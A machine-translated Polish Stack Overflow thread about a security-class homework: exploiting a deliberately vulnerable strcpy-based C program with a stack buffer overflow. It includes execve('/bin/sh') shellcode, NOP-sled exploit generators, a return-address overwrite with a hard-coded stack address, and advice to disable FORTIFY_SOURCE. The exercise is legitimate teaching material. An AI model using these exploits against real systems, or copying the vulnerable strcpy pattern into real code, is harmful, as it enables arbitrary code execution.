2013-02-13 16 views
5

Uczący to przepełnieniem buforu rzeczy dla klasy bezpieczeństwa, staram się wykorzystać tę lukę w tej aplikacji:przepełnienia bufora jak homeowrk

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

Używanie tego wykorzystać aplikację:

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

Dla z jakiegoś powodu, kiedy tworzę badfile, uruchamiając exploit, nie wciska nic do niego. Albo bufor jest pusty, albo nie zapisuje poprawnie. Nie mogę znaleźć mojego błędu i po niestrudzonym wyszukiwaniu w Google nie udało mi się znaleźć wystarczającej odpowiedzi. Z mojego zrozumienia kodu bufora wypełnienia, którego użyłem, powinno to wypełnić long_string adresem mojego bufora, następnie umieścić mój kod powłoki na początku long_string (po odrobinie slajdu NOOP), a następnie skopiować long_string z powrotem do bufora. Naprawdę nie widzę żadnego problemu z tym lub z fwrite. Propozycje?

+2

Czy 'badfile - fopen (" badfile "," r ")' literówka w kodzie, lub twój post? – ughoavgfhw

+0

Przyjmując 'sizeof (long) == 4' (tj. Program 32-bitowy), kod powinien działać tak, jak jest. –

+2

Zakładając sizeof (long)> 4, kod ma przepełnienie bufora. – Sebastian

Odpowiedz

0

Cóż, musisz zrozumieć, co tak naprawdę zniszczył stos. Zasadniczo rozbija wiele wartości i nadpisuje konkretny adres, który jest w zasadzie adresem wskaźnika powrotu na stosie ($ebp + 4). Zdecydowanie próbujesz zniszczyć stos, ale jest mnóstwo rzeczy, które musisz zrobić, aby dokładnie zrozumieć, jaki adres chcesz zastąpić innym adresem, który wskazuje na twój kod powłoki.

http://www.phrack.com/issues.html?issue=49&id=14

Obecnie nie masz funkcjonowanie jednej z tych dwóch rzeczy.

Powinieneś użyć gdb lub innego narzędzia, aby przejść przez kod zespołu rzeczywistego kodu podatnego i zobaczyć adres zwrotny. Na tej podstawie próbujesz zniszczyć stos używając wiersza poleceń.

Następnie uruchom swój kod exploita bez niszczenia stosu. Spróbuj uchwycić rzeczywisty adres zwrotny, który powinieneś wskazywać na miejsce, w którym sadzisz swój kod powłoki.

Powinieneś śledzić czytanie na phrack, aby właściwie zrozumieć koncepcję zniszczenia stosu. Mam nadzieję, że pomaga!

+0

Przeczytałem większość tego, to tam wyciągnąłem pętle for, aby spróbować wypełnić mój bufor. Wróciłem i ukończyłem również overflow2.c i overflow3.c z tej strony. Myślę, że powinienem spróbować zmienić kod z overflow3.c, aby pracować dla mojego problemu, czy to dobry ciąg myśli? –

+0

Możesz to zrobić. Ale chodzi o to, aby zaprojektować swój kod i zniszczyć stos w taki sposób, aby zmienić adres zwrotny, gdy funkcja wróci z strcpy lub innej podatnej funkcji. Ale wygląda na to, że będziesz w stanie go złamać. – p0lAris

+0

Możesz jednak oznaczyć odpowiedź jako rozwiązaną, jeśli uważasz, że ją otrzymałeś. Powodzenia. – p0lAris

0

Jest jedna bardzo ważna rzecz, której brakuje w swoim kodzie. Pozwolę ci to znaleźć, ale prawdopodobnie pomogę ci, patrząc na bardzo prosty problem z przepełnieniem bufora, który rozwiązałem jakiś czas temu.

Rozważ ten kod docelowy za pomocą usterki - łatwe przepełnienie bufora.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

Poniżej znajduje się kod exploit:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

Zobacz jak zdefiniować mój cel i go używać.

Ponadto, widziałem wcześniej ten kod powłoki. Używam następującego (phrack):

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Sprawdź to za pomocą kodu i daj mi znać, jeśli to działa.

TAKŻE:

strcpy(buffer,large_string); 

Zapis ten jest zła praktyka nie ważne czy są przyjmowanie large_string ze standardowego wejścia lub nie.

+0

arg1 [215] = '\ xbf'; nie uważasz, że to przepełnienie bufora (char arg1 [215] = "";) – Anshul

+0

Dlaczego tak uważasz? – p0lAris

+0

Kod powłoki był z mojego zadania, które można zobaczyć [tutaj] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/Buffer_Overflow.pdf). Miałem te same wyniki przy użyciu sugerowanego kodu powłoki. Obecnie próbuję zobaczyć, co chcesz, żebym zobaczył z Twojego exploit.c, ale nie sądzę, żebym to zobaczył. Nie rozumiem twojego używania/tmp/target1, czy to nie powinno być/bin/sh? Przepraszam, że to wszystko jest dla mnie wciąż nowe, a profesor/TA nie są najlepsi w prostym tłumaczeniu rzeczy. –

0
strcpy(buffer,large_string); 

Jedną z rzeczy, które trzeba będzie rozwiązać w trakcie testów jest to wywołanie funkcji.

FORTIFY_SOURCE używa "bezpieczniejszych" wariantów funkcji wysokiego ryzyka, takich jak memcpy i strcpy. Kompilator używa bezpieczniejszych wariantów, gdy może wydedukować rozmiar bufora docelowego. Jeśli kopia przekroczyłaby docelowy rozmiar bufora, program wywoła abort().

Aby wyłączyć FORTIFY_SOURCE dla swoich testów, powinieneś skompilować program z -U_FORTIFY_SOURCE lub -D_FORTIFY_SOURCE=0.

Powiązane problemy